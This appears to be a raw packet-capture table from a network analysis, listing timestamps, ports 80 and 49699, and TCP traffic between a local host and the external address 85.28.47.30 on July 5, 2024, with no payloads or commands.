Jul 5, 2024 06:23:09.299010992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.299026966 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.299027920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.299027920 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.299031973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.299043894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.299077034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.299077034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378115892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378143072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378153086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378211021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378226995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378238916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378246069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378246069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378248930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378262997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378273964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378284931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378288031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378299952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378318071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378318071 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378353119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378370047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378380060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378390074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378390074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378390074 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378401995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378415108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378426075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378427029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378437042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378448963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378462076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378462076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378477097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378495932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378498077 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378508091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378518105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378518105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378519058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378530979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378540993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378549099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378561974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378572941 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378578901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378578901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378583908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378597021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378606081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378606081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378618956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378632069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378634930 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378644943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378660917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378668070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378668070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378674030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378684998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378695011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378705025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378705978 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378715992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378726959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378741026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378741980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378741980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378756046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378767014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378776073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378777981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378788948 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378802061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378808975 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378808975 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378814936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378832102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378843069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378851891 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378851891 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378855944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.378885031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.378947020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386516094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386528015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386538029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386579990 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386617899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386620998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386639118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386651993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386665106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386672974 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386672974 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386678934 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386682034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386692047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386699915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386709929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386723042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386734962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386734962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386764050 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386764050 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386784077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386794090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386805058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386815071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386823893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386836052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386842966 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386842966 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386854887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386864901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386876106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386884928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386884928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386885881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386902094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386917114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386925936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386925936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386928082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386940956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386956930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386965990 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386975050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386985064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386996031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.386996031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.386996031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387008905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387021065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387027025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387037039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387043953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387043953 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387051105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387062073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387099028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387110949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387120008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387126923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387145042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387156963 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387156963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387156963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387167931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387180090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387191057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387192965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387192965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387208939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387219906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387229919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387236118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387236118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387242079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387254000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387270927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387281895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387291908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387300014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387300014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387304068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387315989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387329102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387329102 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387331009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387348890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387363911 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387367964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387379885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387389898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387391090 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387403011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387414932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387423038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387423038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387434006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387445927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.387465000 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387490988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.387562037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.388045073 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.388134003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.471699953 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471736908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471755028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471769094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471781015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471812963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.471849918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471860886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471872091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471883059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.471883059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.471894979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471906900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471916914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471927881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471940994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.471940994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.471947908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471959114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471970081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471982002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471992970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.471993923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.471992970 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472007990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472021103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472038031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472038984 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472038984 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472075939 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472112894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472125053 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472136021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472163916 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472163916 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472163916 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472186089 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472268105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472280025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472290039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472301006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472311974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472325087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472331047 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472331047 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472340107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472356081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472362041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472372055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472377062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472388983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472398996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472410917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472419977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472419977 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472424984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472438097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472440958 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472450018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472461939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472470999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472472906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472489119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472503901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472503901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472503901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472524881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472537994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472546101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472546101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472551107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472557068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472563028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472578049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472589970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472599983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472600937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472599983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472613096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472626925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472636938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472640038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472640038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472647905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472660065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472671986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472681046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472685099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.472701073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472721100 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.472790956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.473583937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.473671913 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480397940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480436087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480447054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480561972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480582952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480595112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480600119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480606079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480617046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480628967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480638027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480642080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480654955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480667114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480678082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480686903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480686903 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480721951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480721951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480777025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480794907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480807066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480822086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480822086 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480837107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480838060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480848074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480853081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480861902 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480875969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480885983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480885983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480889082 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480905056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480917931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480928898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480931997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480931997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480962038 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480969906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480979919 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.480988979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.480999947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481017113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481017113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481017113 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.481031895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.481040001 CEST	49699	80	192.168.2.7	85.28.47.30
